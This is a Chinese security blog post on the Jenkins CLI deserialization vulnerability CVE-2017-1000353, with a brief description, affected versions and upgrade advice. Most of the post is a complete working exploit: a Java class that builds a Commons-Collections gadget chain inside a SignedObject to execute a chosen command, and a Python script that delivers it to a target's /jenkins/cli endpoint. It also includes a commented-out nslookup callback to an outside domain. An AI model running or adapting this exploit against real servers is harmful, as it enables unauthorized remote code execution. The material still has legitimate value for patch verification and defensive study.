JAVA安全网JAVA安全网

生命不息,折腾不止。
--JAVA人自留地。

Jenkins反序列化漏洞(CVE-2017-1000353)

jenkins.png

1.综述
Jenkins是一款持续集成(continuous integration)与持续交付(continuous delivery)系统,可以提高软件研发流程中非人工参与部分的自动化处理效率。
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行。
2.漏洞概述
漏洞类型:反序列化远程代码执行漏洞
危险等级:高危
利用条件:Jenkins在受影响版本内,并开启基于远程的Jenkins CLI
受影响系统:Jenkins小于2.57、Jenkins LTS小于2.46.2
3.漏洞编号
CVE-2017-1000353 Jenkins反序列化漏洞
4.漏洞描述
CloudBees Jenkins中存在Java反序列化漏洞,可导致远程代码执行。该远程代码执行漏洞允许攻击者将序列化的Java SignedObject对象传输到基于远程的Jenkins CLI,恶意数据可以绕过现有基于黑名单的保护机制,使用新的ObjectInputStream进行反序列化,导致远程代码执行。
漏洞利用(POC)
1.使用JAVA CODE生成payload,设置好要执行的命令,或者打成JAR包来生成,这里有一个小细节问题,import net.sf.json.JSONArray;这个包一点要用jenkins的,之前在maven里找测试都不成功,用了jenkins的直接OK:

package com.sevck;

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.io.ObjectStreamException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.PrivateKey;
import java.security.PublicKey;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Comparator;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.concurrent.ConcurrentSkipListSet;
import java.util.concurrent.CopyOnWriteArraySet;
import net.sf.json.JSONArray;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.collection.AbstractCollectionDecorator;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.ReferenceMap;
import org.apache.commons.collections.set.ListOrderedSet;

public class Payload implements Serializable {
    private Serializable payload;
    public Payload(String cmd) throws Exception {
        this.payload = this.setup(cmd);
    }
    public Serializable setup(String cmd) throws Exception {
        final String[] execArgs = new String[] { cmd };
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        execArgs), new ConstantTransformer(1) };
        Transformer transformerChain = new ChainedTransformer(transformers);
        final Map innerMap = new HashMap();
        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        f.setAccessible(true);
        HashMap innimpl = (HashMap) f.get(map);
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        f2.setAccessible(true);
        Object[] array2 = (Object[]) f2.get(innimpl);
        Object node = array2[0];
        if (node == null) {
            node = array2[1];
        }
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        } catch (Exception e) {
            keyField = Class.forName("java.util.MapEntry").getDeclaredField(
                    "key");
        }
        keyField.setAccessible(true);
        keyField.set(node, entry);
        KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("DSA");
        keyPairGenerator.initialize(1024);
        KeyPair keyPair = keyPairGenerator.genKeyPair();
        PrivateKey privateKey = keyPair.getPrivate();
        PublicKey publicKey = keyPair.getPublic();
        Signature signature = Signature.getInstance(privateKey.getAlgorithm());
        SignedObject payload = new SignedObject(map, privateKey, signature);
        JSONArray array = new JSONArray();
        array.add("asdf");
        ListOrderedSet set = new ListOrderedSet();
        Field f1 = AbstractCollectionDecorator.class
                .getDeclaredField("collection");
        f1.setAccessible(true);
        f1.set(set, array);
        DummyComperator comp = new DummyComperator();
        ConcurrentSkipListSet csls = new ConcurrentSkipListSet(comp);
        csls.add(payload);
        CopyOnWriteArraySet a1 = new CopyOnWriteArraySet();
        CopyOnWriteArraySet a2 = new CopyOnWriteArraySet();
        a1.add(set);
        Container c = new Container(csls);
        a1.add(c);
        a2.add(csls);
        a2.add(set);
        ReferenceMap flat3map = new ReferenceMap();
        flat3map.put(new Container(a1), "asdf");
        flat3map.put(new Container(a2), "asdf");
        return flat3map;
    }
    private Object writeReplace() throws ObjectStreamException {
        return this.payload;
    }
    static class Container implements Serializable {
        private Object o;
        public Container(Object o) {
            this.o = o;
        }
        private Object writeReplace() throws ObjectStreamException {
            return o;
        }
    }
    static class DummyComperator implements Comparator, Serializable {
        public int compare(Object arg0, Object arg1) {
            // TODO Auto-generated method stub
            return 0;
        }
        private Object writeReplace() throws ObjectStreamException {
            return null;
        }
    }
    public static void main(String args[]) throws Exception{
//        if(args.length != 2){
//            System.out.println("java -jar payload.jar outfile cmd");
//            System.exit(0);
//        }
//        String cmd = "nslookup jijjjj.a.0.ubook.pub";
        String cmd = "touch /tmp/sevck";
        FileOutputStream out = new FileOutputStream("D:\\project\\jenkins\\main\\payload.txt");
        Payload pwn = new Payload(cmd);
        ObjectOutputStream oos = new ObjectOutputStream(out);
        oos.writeObject(pwn);
        oos.flush();
        out.flush();
    }
}

2.python设置url,读取payload,进行发包:

#!/usr/bin/env python
# coding:utf-8
# @Date    : 2017/5/3 17:44
# @File    : jenkins.py
# @Author  : sevck (sevck@javasec.cn)
# @Link    : http://www.javasec.cn                  
#-------------------------------------------------------------------------  
import urllib
import requests
import uuid
import threading
import time
import gzip
import urllib3
import zlib
proxies = {
#  'http': 'http://127.0.0.1:8090',
#  'https': 'http://127.0.0.1:8090',
}

URL='http://192.168.197.193:8080/jenkins/cli'
PREAMLE='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
PROTO = '\x00\x00\x00\x00'
FILE_SER = open("payload.txt", "rb").read()
def download(url, session):
    headers = {'Side' : 'download'}
    headers['Content-type'] = 'application/x-www-form-urlencoded'
    headers['Session'] = session
    headers['Transfer-Encoding'] = 'chunked'
    r = requests.post(url, data=null_payload(),headers=headers, proxies=proxies, stream=True)
    print r.text
def upload(url, session, data):
    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding'] = None
    r = requests.post(url,data=data,headers=headers,proxies=proxies)
def upload_chunked(url,session, data):
    headers = {'Side' : 'upload'}
    headers['Session'] = session
    headers['Content-type'] = 'application/octet-stream'
    headers['Accept-Encoding']= None
    headers['Transfer-Encoding'] = 'chunked'
    headers['Cache-Control'] = 'no-cache'
    r = requests.post(url, headers=headers, data=create_payload_chunked(), proxies=proxies)
def null_payload():
    yield " "
def create_payload():
    payload = PREAMLE + PROTO + FILE_SER
    return payload
def create_payload_chunked():
    yield PREAMLE
    yield PROTO
    yield FILE_SER
def main():
    print "start"
    session = str(uuid.uuid4())
    t = threading.Thread(target=download, args=(URL, session))
    t.start()
    time.sleep(1)
    print "pwn"
    #upload(URL, session, create_payload())
    upload_chunked(URL, session, "asdf")
if __name__ == "__main__":
    main()

6.修复建议
升级到官方最新版: Jenkins 2.57、Jenkins LTS 2.46.2

实在不想测,或不会测可进行在线检测:http://check.qingteng.cn/

未经允许不得转载:JAVA安全网 » Jenkins反序列化漏洞(CVE-2017-1000353)

评论 3

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址